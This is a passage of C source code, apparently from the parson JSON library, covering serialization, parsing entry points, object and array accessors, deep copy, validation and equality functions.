-1; 801 | if (buf != NULL) 802 | buf += written; 803 | written_total += written; 804 | return written_total; 805 | case JSONBoolean: 806 | if (json_value_get_boolean(value)) 807 | APPEND_STRING("true"); 808 | else 809 | APPEND_STRING("false"); 810 | return written_total; 811 | case JSONNumber: 812 | num = json_value_get_number(value); 813 | if (buf != NULL) 814 | num_buf = buf; 815 | if (num == ((double)(int)num)) /* check if num is integer */ 816 | written = sprintf(num_buf, "%d", (int)num); 817 | else 818 | written = sprintf(num_buf, DOUBLE_SERIALIZATION_FORMAT, num); 819 | if (written < 0) 820 | return -1; 821 | if (buf != NULL) 822 | buf += written; 823 | written_total += written; 824 | return written_total; 825 | case JSONNull: 826 | APPEND_STRING("null"); 827 | return written_total; 828 | case JSONError: 829 | return -1; 830 | default: 831 | return -1; 832 | } 833 | } 834 | 835 | static int json_serialize_string(const char *string, char *buf) { 836 | size_t i = 0, len = strlen(string); 837 | char c = '\0'; 838 | int written = -1, written_total = 0; 839 | APPEND_STRING("\""); 840 | for (i = 0; i < len; i++) { 841 | c = string[i]; 842 | switch (c) { 843 | case '\"': APPEND_STRING("\\\""); break; 844 | case '\\': APPEND_STRING("\\\\"); break; 845 | case '/': APPEND_STRING("\\/"); break; /* to make json embeddable in xml\/html */ 846 | case '\b': APPEND_STRING("\\b"); break; 847 | case '\f': APPEND_STRING("\\f"); break; 848 | case '\n': APPEND_STRING("\\n"); break; 849 | case '\r': APPEND_STRING("\\r"); break; 850 | case '\t': APPEND_STRING("\\t"); break; 851 | default: 852 | if (buf != NULL) { 853 | buf[0] = c; 854 | buf += 1; 855 | } 856 | written_total += 1; 857 | break; 858 | } 859 | } 860 | APPEND_STRING("\""); 861 | return written_total; 862 | } 863 | 864 | static int append_indent(char *buf, int level) { 865 | int i; 866 | int written = -1, written_total = 0; 867 | for (i = 0; i < level; i++) { 868 | APPEND_STRING(" "); 869 | } 870 | return written_total; 871 | } 872 | 873 | static int append_string(char *buf, const char *string) { 874 | if (buf == NULL) { 875 | return (int)strlen(string); 876 | } 877 | return sprintf(buf, "%s", string); 878 | } 879 | 880 | #undef APPEND_STRING 881 | #undef APPEND_INDENT 882 | 883 | /* Parser API */ 884 | JSON_Value * json_parse_file(const char *filename) { 885 | char *file_contents = read_file(filename); 886 | JSON_Value *output_value = NULL; 887 | if (file_contents == NULL) 888 | return NULL; 889 | output_value = json_parse_string(file_contents); 890 | parson_free(file_contents); 891 | return output_value; 892 | } 893 | 894 | JSON_Value * json_parse_file_with_comments(const char *filename) { 895 | char *file_contents = read_file(filename); 896 | JSON_Value *output_value = NULL; 897 | if (file_contents == NULL) 898 | return NULL; 899 | output_value = json_parse_string_with_comments(file_contents); 900 | parson_free(file_contents); 901 | return output_value; 902 | } 903 | 904 | JSON_Value * json_parse_string(const char *string) { 905 | if (string == NULL) 906 | return NULL; 907 | SKIP_WHITESPACES(&string); 908 | if (*string != '{' && *string != '[') 909 | return NULL; 910 | return parse_value((const char**)&string, 0); 911 | } 912 | 913 | JSON_Value * json_parse_string_with_comments(const char *string) { 914 | JSON_Value *result = NULL; 915 | char *string_mutable_copy = NULL, *string_mutable_copy_ptr = NULL; 916 | string_mutable_copy = parson_strdup(string); 917 | if (string_mutable_copy == NULL) 918 | return NULL; 919 | remove_comments(string_mutable_copy, "/*", "*/"); 920 | remove_comments(string_mutable_copy, "//", "\n"); 921 | string_mutable_copy_ptr = string_mutable_copy; 922 | SKIP_WHITESPACES(&string_mutable_copy_ptr); 923 | if (*string_mutable_copy_ptr != '{' && *string_mutable_copy_ptr != '[') { 924 | parson_free(string_mutable_copy); 925 | return NULL; 926 | } 927 | result = parse_value((const char**)&string_mutable_copy_ptr, 0); 928 | parson_free(string_mutable_copy); 929 | return result; 930 | } 931 | 932 | 933 | /* JSON Object API */ 934 | 935 | JSON_Value * json_object_get_value(const JSON_Object *object, const char *name) { 936 | if (object == NULL || name == NULL) 937 | return NULL; 938 | return json_object_nget_value(object, name, strlen(name)); 939 | } 940 | 941 | const char * json_object_get_string(const JSON_Object *object, const char *name) { 942 | return json_value_get_string(json_object_get_value(object, name)); 943 | } 944 | 945 | double json_object_get_number(const JSON_Object *object, const char *name) { 946 | return json_value_get_number(json_object_get_value(object, name)); 947 | } 948 | 949 | JSON_Object * json_object_get_object(const JSON_Object *object, const char *name) { 950 | return json_value_get_object(json_object_get_value(object, name)); 951 | } 952 | 953 | JSON_Array * json_object_get_array(const JSON_Object *object, const char *name) { 954 | return json_value_get_array(json_object_get_value(object, name)); 955 | } 956 | 957 | int json_object_get_boolean(const JSON_Object *object, const char *name) { 958 | return json_value_get_boolean(json_object_get_value(object, name)); 959 | } 960 | 961 | JSON_Value * json_object_dotget_value(const JSON_Object *object, const char *name) { 962 | const char *dot_position = strchr(name, '.'); 963 | if (!dot_position) 964 | return json_object_get_value(object, name); 965 | object = json_value_get_object(json_object_nget_value(object, name, dot_position - name)); 966 | return json_object_dotget_value(object, dot_position + 1); 967 | } 968 | 969 | const char * json_object_dotget_string(const JSON_Object *object, const char *name) { 970 | return json_value_get_string(json_object_dotget_value(object, name)); 971 | } 972 | 973 | double json_object_dotget_number(const JSON_Object *object, const char *name) { 974 | return json_value_get_number(json_object_dotget_value(object, name)); 975 | } 976 | 977 | JSON_Object * json_object_dotget_object(const JSON_Object *object, const char *name) { 978 | return json_value_get_object(json_object_dotget_value(object, name)); 979 | } 980 | 981 | JSON_Array * json_object_dotget_array(const JSON_Object *object, const char *name) { 982 | return json_value_get_array(json_object_dotget_value(object, name)); 983 | } 984 | 985 | int json_object_dotget_boolean(const JSON_Object *object, const char *name) { 986 | return json_value_get_boolean(json_object_dotget_value(object, name)); 987 | } 988 | 989 | size_t json_object_get_count(const JSON_Object *object) { 990 | return object ? object->count : 0; 991 | } 992 | 993 | const char * json_object_get_name(const JSON_Object *object, size_t index) { 994 | if (index >= json_object_get_count(object)) 995 | return NULL; 996 | return object->names[index]; 997 | } 998 | 999 | /* JSON Array API */ 1000 | JSON_Value * json_array_get_value(const JSON_Array *array, size_t index) { 1001 | if (index >= json_array_get_count(array)) 1002 | return NULL; 1003 | return array->items[index]; 1004 | } 1005 | 1006 | const char * json_array_get_string(const JSON_Array *array, size_t index) { 1007 | return json_value_get_string(json_array_get_value(array, index)); 1008 | } 1009 | 1010 | double json_array_get_number(const JSON_Array *array, size_t index) { 1011 | return json_value_get_number(json_array_get_value(array, index)); 1012 | } 1013 | 1014 | JSON_Object * json_array_get_object(const JSON_Array *array, size_t index) { 1015 | return json_value_get_object(json_array_get_value(array, index)); 1016 | } 1017 | 1018 | JSON_Array * json_array_get_array(const JSON_Array *array, size_t index) { 1019 | return json_value_get_array(json_array_get_value(array, index)); 1020 | } 1021 | 1022 | int json_array_get_boolean(const JSON_Array *array, size_t index) { 1023 | return json_value_get_boolean(json_array_get_value(array, index)); 1024 | } 1025 | 1026 | size_t json_array_get_count(const JSON_Array *array) { 1027 | return array ? array->count : 0; 1028 | } 1029 | 1030 | /* JSON Value API */ 1031 | JSON_Value_Type json_value_get_type(const JSON_Value *value) { 1032 | return value ? value->type : JSONError; 1033 | } 1034 | 1035 | JSON_Object * json_value_get_object(const JSON_Value *value) { 1036 | return json_value_get_type(value) == JSONObject ? value->value.object : NULL; 1037 | } 1038 | 1039 | JSON_Array * json_value_get_array(const JSON_Value *value) { 1040 | return json_value_get_type(value) == JSONArray ? value->value.array : NULL; 1041 | } 1042 | 1043 | const char * json_value_get_string(const JSON_Value *value) { 1044 | return json_value_get_type(value) == JSONString ? value->value.string : NULL; 1045 | } 1046 | 1047 | double json_value_get_number(const JSON_Value *value) { 1048 | return json_value_get_type(value) == JSONNumber ? value->value.number : 0; 1049 | } 1050 | 1051 | int json_value_get_boolean(const JSON_Value *value) { 1052 | return json_value_get_type(value) == JSONBoolean ? value->value.boolean : -1; 1053 | } 1054 | 1055 | void json_value_free(JSON_Value *value) { 1056 | switch (json_value_get_type(value)) { 1057 | case JSONObject: 1058 | json_object_free(value->value.object); 1059 | break; 1060 | case JSONString: 1061 | if (value->value.string) { parson_free(value->value.string); } 1062 | break; 1063 | case JSONArray: 1064 | json_array_free(value->value.array); 1065 | break; 1066 | default: 1067 | break; 1068 | } 1069 | parson_free(value); 1070 | } 1071 | 1072 | JSON_Value * json_value_init_object(void) { 1073 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 1074 | if (!new_value) 1075 | return NULL; 1076 | new_value->type = JSONObject; 1077 | new_value->value.object = json_object_init(); 1078 | if (!new_value->value.object) { 1079 | parson_free(new_value); 1080 | return NULL; 1081 | } 1082 | return new_value; 1083 | } 1084 | 1085 | JSON_Value * json_value_init_array(void) { 1086 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 1087 | if (!new_value) 1088 | return NULL; 1089 | new_value->type = JSONArray; 1090 | new_value->value.array = json_array_init(); 1091 | if (!new_value->value.array) { 1092 | parson_free(new_value); 1093 | return NULL; 1094 | } 1095 | return new_value; 1096 | } 1097 | 1098 | JSON_Value * json_value_init_string(const char *string) { 1099 | char *copy = NULL; 1100 | JSON_Value *value; 1101 | size_t string_len = 0; 1102 | if (string == NULL) 1103 | return NULL; 1104 | string_len = strlen(string); 1105 | if (!is_valid_utf8(string, string_len)) 1106 | return NULL; 1107 | copy = parson_strndup(string, string_len); 1108 | if (copy == NULL) 1109 | return NULL; 1110 | value = json_value_init_string_no_copy(copy); 1111 | if (value == NULL) 1112 | parson_free(copy); 1113 | return value; 1114 | } 1115 | 1116 | JSON_Value * json_value_init_number(double number) { 1117 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 1118 | if (!new_value) 1119 | return NULL; 1120 | new_value->type = JSONNumber; 1121 | new_value->value.number = number; 1122 | return new_value; 1123 | } 1124 | 1125 | JSON_Value * json_value_init_boolean(int boolean) { 1126 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 1127 | if (!new_value) 1128 | return NULL; 1129 | new_value->type = JSONBoolean; 1130 | new_value->value.boolean = boolean ? 1 : 0; 1131 | return new_value; 1132 | } 1133 | 1134 | JSON_Value * json_value_init_null(void) { 1135 | JSON_Value *new_value = (JSON_Value*)parson_malloc(sizeof(JSON_Value)); 1136 | if (!new_value) 1137 | return NULL; 1138 | new_value->type = JSONNull; 1139 | return new_value; 1140 | } 1141 | 1142 | JSON_Value * json_value_deep_copy(const JSON_Value *value) { 1143 | size_t i = 0; 1144 | JSON_Value *return_value = NULL, *temp_value_copy = NULL, *temp_value = NULL; 1145 | const char *temp_string = NULL, *temp_key = NULL; 1146 | char *temp_string_copy = NULL; 1147 | JSON_Array *temp_array = NULL, *temp_array_copy = NULL; 1148 | JSON_Object *temp_object = NULL, *temp_object_copy = NULL; 1149 | 1150 | switch (json_value_get_type(value)) { 1151 | case JSONArray: 1152 | temp_array = json_value_get_array(value); 1153 | return_value = json_value_init_array(); 1154 | if (return_value == NULL) 1155 | return NULL; 1156 | temp_array_copy = json_value_get_array(return_value); 1157 | for (i = 0; i < json_array_get_count(temp_array); i++) { 1158 | temp_value = json_array_get_value(temp_array, i); 1159 | temp_value_copy = json_value_deep_copy(temp_value); 1160 | if (temp_value_copy == NULL) { 1161 | json_value_free(return_value); 1162 | return NULL; 1163 | } 1164 | if (json_array_add(temp_array_copy, temp_value_copy) == JSONFailure) { 1165 | json_value_free(return_value); 1166 | json_value_free(temp_value_copy); 1167 | return NULL; 1168 | } 1169 | } 1170 | return return_value; 1171 | case JSONObject: 1172 | temp_object = json_value_get_object(value); 1173 | return_value = json_value_init_object(); 1174 | if (return_value == NULL) 1175 | return NULL; 1176 | temp_object_copy = json_value_get_object(return_value); 1177 | for (i = 0; i < json_object_get_count(temp_object); i++) { 1178 | temp_key = json_object_get_name(temp_object, i); 1179 | temp_value = json_object_get_value(temp_object, temp_key); 1180 | temp_value_copy = json_value_deep_copy(temp_value); 1181 | if (temp_value_copy == NULL) { 1182 | json_value_free(return_value); 1183 | return NULL; 1184 | } 1185 | if (json_object_add(temp_object_copy, temp_key, temp_value_copy) == JSONFailure) { 1186 | json_value_free(return_value); 1187 | json_value_free(temp_value_copy); 1188 | return NULL; 1189 | } 1190 | } 1191 | return return_value; 1192 | case JSONBoolean: 1193 | return json_value_init_boolean(json_value_get_boolean(value)); 1194 | case JSONNumber: 1195 | return json_value_init_number(json_value_get_number(value)); 1196 | case JSONString: 1197 | temp_string = json_value_get_string(value); 1198 | temp_string_copy = parson_strdup(temp_string); 1199 | if (temp_string_copy == NULL) 1200 | return NULL; 1201 | return_value = json_value_init_string_no_copy(temp_string_copy); 1202 | if (return_value == NULL) 1203 | parson_free(temp_string_copy); 1204 | return return_value; 1205 | case JSONNull: 1206 | return json_value_init_null(); 1207 | case JSONError: 1208 | return NULL; 1209 | default: 1210 | return NULL; 1211 | } 1212 | } 1213 | 1214 | size_t json_serialization_size(const JSON_Value *value) { 1215 | char num_buf[1100]; /* recursively allocating buffer on stack is a bad idea, so let's do it only once */ 1216 | int res = json_serialize_to_buffer_r(value, NULL, 0, 0, num_buf); 1217 | return res < 0 ? 0 : (size_t)(res + 1); 1218 | } 1219 | 1220 | JSON_Status json_serialize_to_buffer(const JSON_Value *value, char *buf, size_t buf_size_in_bytes) { 1221 | int written = -1; 1222 | size_t needed_size_in_bytes = json_serialization_size(value); 1223 | if (needed_size_in_bytes == 0 || buf_size_in_bytes < needed_size_in_bytes) { 1224 | return JSONFailure; 1225 | } 1226 | written = json_serialize_to_buffer_r(value, buf, 0, 0, NULL); 1227 | if (written < 0) 1228 | return JSONFailure; 1229 | return JSONSuccess; 1230 | } 1231 | 1232 | JSON_Status json_serialize_to_file(const JSON_Value *value, const char *filename) { 1233 | JSON_Status return_code = JSONSuccess; 1234 | FILE *fp = NULL; 1235 | char *serialized_string = json_serialize_to_string(value); 1236 | if (serialized_string == NULL) { 1237 | return JSONFailure; 1238 | } 1239 | fp = fopen (filename, "w"); 1240 | if (fp != NULL) { 1241 | if (fputs (serialized_string, fp) == EOF) { 1242 | return_code = JSONFailure; 1243 | } 1244 | if (fclose (fp) == EOF) { 1245 | return_code = JSONFailure; 1246 | } 1247 | } 1248 | json_free_serialized_string(serialized_string); 1249 | return return_code; 1250 | } 1251 | 1252 | char * json_serialize_to_string(const JSON_Value *value) { 1253 | JSON_Status serialization_result = JSONFailure; 1254 | size_t buf_size_bytes = json_serialization_size(value); 1255 | char *buf = NULL; 1256 | if (buf_size_bytes == 0) { 1257 | return NULL; 1258 | } 1259 | buf = (char*)parson_malloc(buf_size_bytes); 1260 | if (buf == NULL) 1261 | return NULL; 1262 | serialization_result = json_serialize_to_buffer(value, buf, buf_size_bytes); 1263 | if (serialization_result == JSONFailure) { 1264 | json_free_serialized_string(buf); 1265 | return NULL; 1266 | } 1267 | return buf; 1268 | } 1269 | 1270 | size_t json_serialization_size_pretty(const JSON_Value *value) { 1271 | char num_buf[1100]; /* recursively allocating buffer on stack is a bad idea, so let's do it only once */ 1272 | int res = json_serialize_to_buffer_r(value, NULL, 0, 1, num_buf); 1273 | return res < 0 ? 0 : (size_t)(res + 1); 1274 | } 1275 | 1276 | JSON_Status json_serialize_to_buffer_pretty(const JSON_Value *value, char *buf, size_t buf_size_in_bytes) { 1277 | int written = -1; 1278 | size_t needed_size_in_bytes = json_serialization_size_pretty(value); 1279 | if (needed_size_in_bytes == 0 || buf_size_in_bytes < needed_size_in_bytes) 1280 | return JSONFailure; 1281 | written = json_serialize_to_buffer_r(value, buf, 0, 1, NULL); 1282 | if (written < 0) 1283 | return JSONFailure; 1284 | return JSONSuccess; 1285 | } 1286 | 1287 | JSON_Status json_serialize_to_file_pretty(const JSON_Value *value, const char *filename) { 1288 | JSON_Status return_code = JSONSuccess; 1289 | FILE *fp = NULL; 1290 | char *serialized_string = json_serialize_to_string_pretty(value); 1291 | if (serialized_string == NULL) { 1292 | return JSONFailure; 1293 | } 1294 | fp = fopen (filename, "w"); 1295 | if (fp != NULL) { 1296 | if (fputs (serialized_string, fp) == EOF) { 1297 | return_code = JSONFailure; 1298 | } 1299 | if (fclose (fp) == EOF) { 1300 | return_code = JSONFailure; 1301 | } 1302 | } 1303 | json_free_serialized_string(serialized_string); 1304 | return return_code; 1305 | } 1306 | 1307 | char * json_serialize_to_string_pretty(const JSON_Value *value) { 1308 | JSON_Status serialization_result = JSONFailure; 1309 | size_t buf_size_bytes = json_serialization_size_pretty(value); 1310 | char *buf = NULL; 1311 | if (buf_size_bytes == 0) { 1312 | return NULL; 1313 | } 1314 | buf = (char*)parson_malloc(buf_size_bytes); 1315 | if (buf == NULL) 1316 | return NULL; 1317 | serialization_result = json_serialize_to_buffer_pretty(value, buf, buf_size_bytes); 1318 | if (serialization_result == JSONFailure) { 1319 | json_free_serialized_string(buf); 1320 | return NULL; 1321 | } 1322 | return buf; 1323 | } 1324 | 1325 | void json_free_serialized_string(char *string) { 1326 | parson_free(string); 1327 | } 1328 | 1329 | JSON_Status json_array_remove(JSON_Array *array, size_t ix) { 1330 | JSON_Value *temp_value = NULL; 1331 | size_t last_element_ix = 0; 1332 | if (array == NULL || ix >= json_array_get_count(array)) { 1333 | return JSONFailure; 1334 | } 1335 | last_element_ix = json_array_get_count(array) - 1; 1336 | json_value_free(json_array_get_value(array, ix)); 1337 | if (ix != last_element_ix) { /* Replace value with one from the end of array */ 1338 | temp_value = json_array_get_value(array, last_element_ix); 1339 | if (temp_value == NULL) { 1340 | return JSONFailure; 1341 | } 1342 | array->items[ix] = temp_value; 1343 | } 1344 | array->count -= 1; 1345 | return JSONSuccess; 1346 | } 1347 | 1348 | JSON_Status json_array_replace_value(JSON_Array *array, size_t ix, JSON_Value *value) { 1349 | if (array == NULL || value == NULL || ix >= json_array_get_count(array)) { 1350 | return JSONFailure; 1351 | } 1352 | json_value_free(json_array_get_value(array, ix)); 1353 | array->items[ix] = value; 1354 | return JSONSuccess; 1355 | } 1356 | 1357 | JSON_Status json_array_replace_string(JSON_Array *array, size_t i, const char* string) { 1358 | JSON_Value *value = json_value_init_string(string); 1359 | if (value == NULL) 1360 | return JSONFailure; 1361 | if (json_array_replace_value(array, i, value) == JSONFailure) { 1362 | json_value_free(value); 1363 | return JSONFailure; 1364 | } 1365 | return JSONSuccess; 1366 | } 1367 | 1368 | JSON_Status json_array_replace_number(JSON_Array *array, size_t i, double number) { 1369 | JSON_Value *value = json_value_init_number(number); 1370 | if (value == NULL) 1371 | return JSONFailure; 1372 | if (json_array_replace_value(array, i, value) == JSONFailure) { 1373 | json_value_free(value); 1374 | return JSONFailure; 1375 | } 1376 | return JSONSuccess; 1377 | } 1378 | 1379 | JSON_Status json_array_replace_boolean(JSON_Array *array, size_t i, int boolean) { 1380 | JSON_Value *value = json_value_init_boolean(boolean); 1381 | if (value == NULL) 1382 | return JSONFailure; 1383 | if (json_array_replace_value(array, i, value) == JSONFailure) { 1384 | json_value_free(value); 1385 | return JSONFailure; 1386 | } 1387 | return JSONSuccess; 1388 | } 1389 | 1390 | JSON_Status json_array_replace_null(JSON_Array *array, size_t i) { 1391 | JSON_Value *value = json_value_init_null(); 1392 | if (value == NULL) 1393 | return JSONFailure; 1394 | if (json_array_replace_value(array, i, value) == JSONFailure) { 1395 | json_value_free(value); 1396 | return JSONFailure; 1397 | } 1398 | return JSONSuccess; 1399 | } 1400 | 1401 | JSON_Status json_array_clear(JSON_Array *array) { 1402 | size_t i = 0; 1403 | if (array == NULL) 1404 | return JSONFailure; 1405 | for (i = 0; i < json_array_get_count(array); i++) { 1406 | json_value_free(json_array_get_value(array, i)); 1407 | } 1408 | array->count = 0; 1409 | return JSONSuccess; 1410 | } 1411 | 1412 | JSON_Status json_array_append_value(JSON_Array *array, JSON_Value *value) { 1413 | if (array == NULL || value == NULL) 1414 | return JSONFailure; 1415 | return json_array_add(array, value); 1416 | } 1417 | 1418 | JSON_Status json_array_append_string(JSON_Array *array, const char *string) { 1419 | JSON_Value *value = json_value_init_string(string); 1420 | if (value == NULL) 1421 | return JSONFailure; 1422 | if (json_array_append_value(array, value) == JSONFailure) { 1423 | json_value_free(value); 1424 | return JSONFailure; 1425 | } 1426 | return JSONSuccess; 1427 | } 1428 | 1429 | JSON_Status json_array_append_number(JSON_Array *array, double number) { 1430 | JSON_Value *value = json_value_init_number(number); 1431 | if (value == NULL) 1432 | return JSONFailure; 1433 | if (json_array_append_value(array, value) == JSONFailure) { 1434 | json_value_free(value); 1435 | return JSONFailure; 1436 | } 1437 | return JSONSuccess; 1438 | } 1439 | 1440 | JSON_Status json_array_append_boolean(JSON_Array *array, int boolean) { 1441 | JSON_Value *value = json_value_init_boolean(boolean); 1442 | if (value == NULL) 1443 | return JSONFailure; 1444 | if (json_array_append_value(array, value) == JSONFailure) { 1445 | json_value_free(value); 1446 | return JSONFailure; 1447 | } 1448 | return JSONSuccess; 1449 | } 1450 | 1451 | JSON_Status json_array_append_null(JSON_Array *array) { 1452 | JSON_Value *value = json_value_init_null(); 1453 | if (value == NULL) 1454 | return JSONFailure; 1455 | if (json_array_append_value(array, value) == JSONFailure) { 1456 | json_value_free(value); 1457 | return JSONFailure; 1458 | } 1459 | return JSONSuccess; 1460 | } 1461 | 1462 | JSON_Status json_object_set_value(JSON_Object *object, const char *name, JSON_Value *value) { 1463 | size_t i = 0; 1464 | JSON_Value *old_value; 1465 | if (object == NULL || name == NULL || value == NULL) 1466 | return JSONFailure; 1467 | old_value = json_object_get_value(object, name); 1468 | if (old_value != NULL) { /* free and overwrite old value */ 1469 | json_value_free(old_value); 1470 | for (i = 0; i < json_object_get_count(object); i++) { 1471 | if (strcmp(object->names[i], name) == 0) { 1472 | object->values[i] = value; 1473 | return JSONSuccess; 1474 | } 1475 | } 1476 | } 1477 | /* add new key value pair */ 1478 | return json_object_add(object, name, value); 1479 | } 1480 | 1481 | JSON_Status json_object_set_string(JSON_Object *object, const char *name, const char *string) { 1482 | return json_object_set_value(object, name, json_value_init_string(string)); 1483 | } 1484 | 1485 | JSON_Status json_object_set_number(JSON_Object *object, const char *name, double number) { 1486 | return json_object_set_value(object, name, json_value_init_number(number)); 1487 | } 1488 | 1489 | JSON_Status json_object_set_boolean(JSON_Object *object, const char *name, int boolean) { 1490 | return json_object_set_value(object, name, json_value_init_boolean(boolean)); 1491 | } 1492 | 1493 | JSON_Status json_object_set_null(JSON_Object *object, const char *name) { 1494 | return json_object_set_value(object, name, json_value_init_null()); 1495 | } 1496 | 1497 | JSON_Status json_object_dotset_value(JSON_Object *object, const char *name, JSON_Value *value) { 1498 | const char *dot_pos = NULL; 1499 | char *current_name = NULL; 1500 | JSON_Object *temp_obj = NULL; 1501 | JSON_Value *new_value = NULL; 1502 | if (value == NULL || name == NULL || value == NULL) 1503 | return JSONFailure; 1504 | dot_pos = strchr(name, '.'); 1505 | if (dot_pos == NULL) { 1506 | return json_object_set_value(object, name, value); 1507 | } else { 1508 | current_name = parson_strndup(name, dot_pos - name); 1509 | temp_obj = json_object_get_object(object, current_name); 1510 | if (temp_obj == NULL) { 1511 | new_value = json_value_init_object(); 1512 | if (new_value == NULL) { 1513 | parson_free(current_name); 1514 | return JSONFailure; 1515 | } 1516 | if (json_object_add(object, current_name, new_value) == JSONFailure) { 1517 | json_value_free(new_value); 1518 | parson_free(current_name); 1519 | return JSONFailure; 1520 | } 1521 | temp_obj = json_object_get_object(object, current_name); 1522 | } 1523 | parson_free(current_name); 1524 | return json_object_dotset_value(temp_obj, dot_pos + 1, value); 1525 | } 1526 | } 1527 | 1528 | JSON_Status json_object_dotset_string(JSON_Object *object, const char *name, const char *string) { 1529 | JSON_Value *value = json_value_init_string(string); 1530 | if (value == NULL) 1531 | return JSONFailure; 1532 | if (json_object_dotset_value(object, name, value) == JSONFailure) { 1533 | json_value_free(value); 1534 | return JSONFailure; 1535 | } 1536 | return JSONSuccess; 1537 | } 1538 | 1539 | JSON_Status json_object_dotset_number(JSON_Object *object, const char *name, double number) { 1540 | JSON_Value *value = json_value_init_number(number); 1541 | if (value == NULL) 1542 | return JSONFailure; 1543 | if (json_object_dotset_value(object, name, value) == JSONFailure) { 1544 | json_value_free(value); 1545 | return JSONFailure; 1546 | } 1547 | return JSONSuccess; 1548 | } 1549 | 1550 | JSON_Status json_object_dotset_boolean(JSON_Object *object, const char *name, int boolean) { 1551 | JSON_Value *value = json_value_init_boolean(boolean); 1552 | if (value == NULL) 1553 | return JSONFailure; 1554 | if (json_object_dotset_value(object, name, value) == JSONFailure) { 1555 | json_value_free(value); 1556 | return JSONFailure; 1557 | } 1558 | return JSONSuccess; 1559 | } 1560 | 1561 | JSON_Status json_object_dotset_null(JSON_Object *object, const char *name) { 1562 | JSON_Value *value = json_value_init_null(); 1563 | if (value == NULL) 1564 | return JSONFailure; 1565 | if (json_object_dotset_value(object, name, value) == JSONFailure) { 1566 | json_value_free(value); 1567 | return JSONFailure; 1568 | } 1569 | return JSONSuccess; 1570 | } 1571 | 1572 | JSON_Status json_object_remove(JSON_Object *object, const char *name) { 1573 | size_t i = 0, last_item_index = 0; 1574 | if (object == NULL || json_object_get_value(object, name) == NULL) 1575 | return JSONFailure; 1576 | last_item_index = json_object_get_count(object) - 1; 1577 | for (i = 0; i < json_object_get_count(object); i++) { 1578 | if (strcmp(object->names[i], name) == 0) { 1579 | parson_free(object->names[i]); 1580 | json_value_free(object->values[i]); 1581 | if (i != last_item_index) { /* Replace key value pair with one from the end */ 1582 | object->names[i] = object->names[last_item_index]; 1583 | object->values[i] = object->values[last_item_index]; 1584 | } 1585 | object->count -= 1; 1586 | return JSONSuccess; 1587 | } 1588 | } 1589 | return JSONFailure; /* No execution path should end here */ 1590 | } 1591 | 1592 | JSON_Status json_object_dotremove(JSON_Object *object, const char *name) { 1593 | const char *dot_pos = strchr(name, '.'); 1594 | char *current_name = NULL; 1595 | JSON_Object *temp_obj = NULL; 1596 | if (dot_pos == NULL) { 1597 | return json_object_remove(object, name); 1598 | } else { 1599 | current_name = parson_strndup(name, dot_pos - name); 1600 | temp_obj = json_object_get_object(object, current_name); 1601 | if (temp_obj == NULL) { 1602 | parson_free(current_name); 1603 | return JSONFailure; 1604 | } 1605 | parson_free(current_name); 1606 | return json_object_dotremove(temp_obj, dot_pos + 1); 1607 | } 1608 | } 1609 | 1610 | JSON_Status json_object_clear(JSON_Object *object) { 1611 | size_t i = 0; 1612 | if (object == NULL) { 1613 | return JSONFailure; 1614 | } 1615 | for (i = 0; i < json_object_get_count(object); i++) { 1616 | parson_free(object->names[i]); 1617 | json_value_free(object->values[i]); 1618 | } 1619 | object->count = 0; 1620 | return JSONSuccess; 1621 | } 1622 | 1623 | JSON_Status json_validate(const JSON_Value *schema, const JSON_Value *value) { 1624 | JSON_Value *temp_schema_value = NULL, *temp_value = NULL; 1625 | JSON_Array *schema_array = NULL, *value_array = NULL; 1626 | JSON_Object *schema_object = NULL, *value_object = NULL; 1627 | JSON_Value_Type schema_type = JSONError, value_type = JSONError; 1628 | const char *key = NULL; 1629 | size_t i = 0, count = 0; 1630 | if (schema == NULL || value == NULL) 1631 | return JSONFailure; 1632 | schema_type = json_value_get_type(schema); 1633 | value_type = json_value_get_type(value); 1634 | if (schema_type != value_type && schema_type != JSONNull) /* null represents all values */ 1635 | return JSONFailure; 1636 | switch (schema_type) { 1637 | case JSONArray: 1638 | schema_array = json_value_get_array(schema); 1639 | value_array = json_value_get_array(value); 1640 | count = json_array_get_count(schema_array); 1641 | if (count == 0) 1642 | return JSONSuccess; /* Empty array allows all types */ 1643 | /* Get first value from array, rest is ignored */ 1644 | temp_schema_value = json_array_get_value(schema_array, 0); 1645 | for (i = 0; i < json_array_get_count(value_array); i++) { 1646 | temp_value = json_array_get_value(value_array, i); 1647 | if (json_validate(temp_schema_value, temp_value) == 0) { 1648 | return JSONFailure; 1649 | } 1650 | } 1651 | return JSONSuccess; 1652 | case JSONObject: 1653 | schema_object = json_value_get_object(schema); 1654 | value_object = json_value_get_object(value); 1655 | count = json_object_get_count(schema_object); 1656 | if (count == 0) 1657 | return JSONSuccess; /* Empty object allows all objects */ 1658 | else if (json_object_get_count(value_object) < count) 1659 | return JSONFailure; /* Tested object mustn't have less name-value pairs than schema */ 1660 | for (i = 0; i < count; i++) { 1661 | key = json_object_get_name(schema_object, i); 1662 | temp_schema_value = json_object_get_value(schema_object, key); 1663 | temp_value = json_object_get_value(value_object, key); 1664 | if (temp_value == NULL) 1665 | return JSONFailure; 1666 | if (json_validate(temp_schema_value, temp_value) == JSONFailure) 1667 | return JSONFailure; 1668 | } 1669 | return JSONSuccess; 1670 | case JSONString: case JSONNumber: case JSONBoolean: case JSONNull: 1671 | return JSONSuccess; /* equality already tested before switch */ 1672 | case JSONError: default: 1673 | return JSONFailure; 1674 | } 1675 | } 1676 | 1677 | JSON_Status json_value_equals(const JSON_Value *a, const JSON_Value *b) { 1678 | JSON_Object *a_object = NULL, *b_object = NULL; 1679 | JSON_Array *a_array = NULL, *b_array = NULL; 1680 | const char *a_string = NULL, *b_string = NULL; 1681 | const char *key = NULL; 1682 | size_t a_count = 0, b_count = 0, i = 0; 1683 | JSON_Value_Type a_type, b_type; 1684 | a_type = json_value_get_type(a); 1685 | b_type = json_value_get_type(b); 1686 | if (a_type != b_type) { 1687 | return 0; 1688 | } 1689 | switch (a_type) { 1690 | case JSONArray: 1691 | a_array = json_value_get_array(a); 1692 | b_array = json_value_get_array(b); 1693 | a_count = json_array_get_count(a_array); 1694 | b_count = json_array_get_count(b_array); 1695 | if (a_count != b_count) { 1696 | return 0; 1697 | } 1698 | for (i = 0; i < a_count; i++) { 1699 | if (!json_value_equals(json_array_get_value(a_array, i), 1700 | json_array_get_value(b_array, i))) { 1701 | return 0; 1702 | } 1703 | } 1704 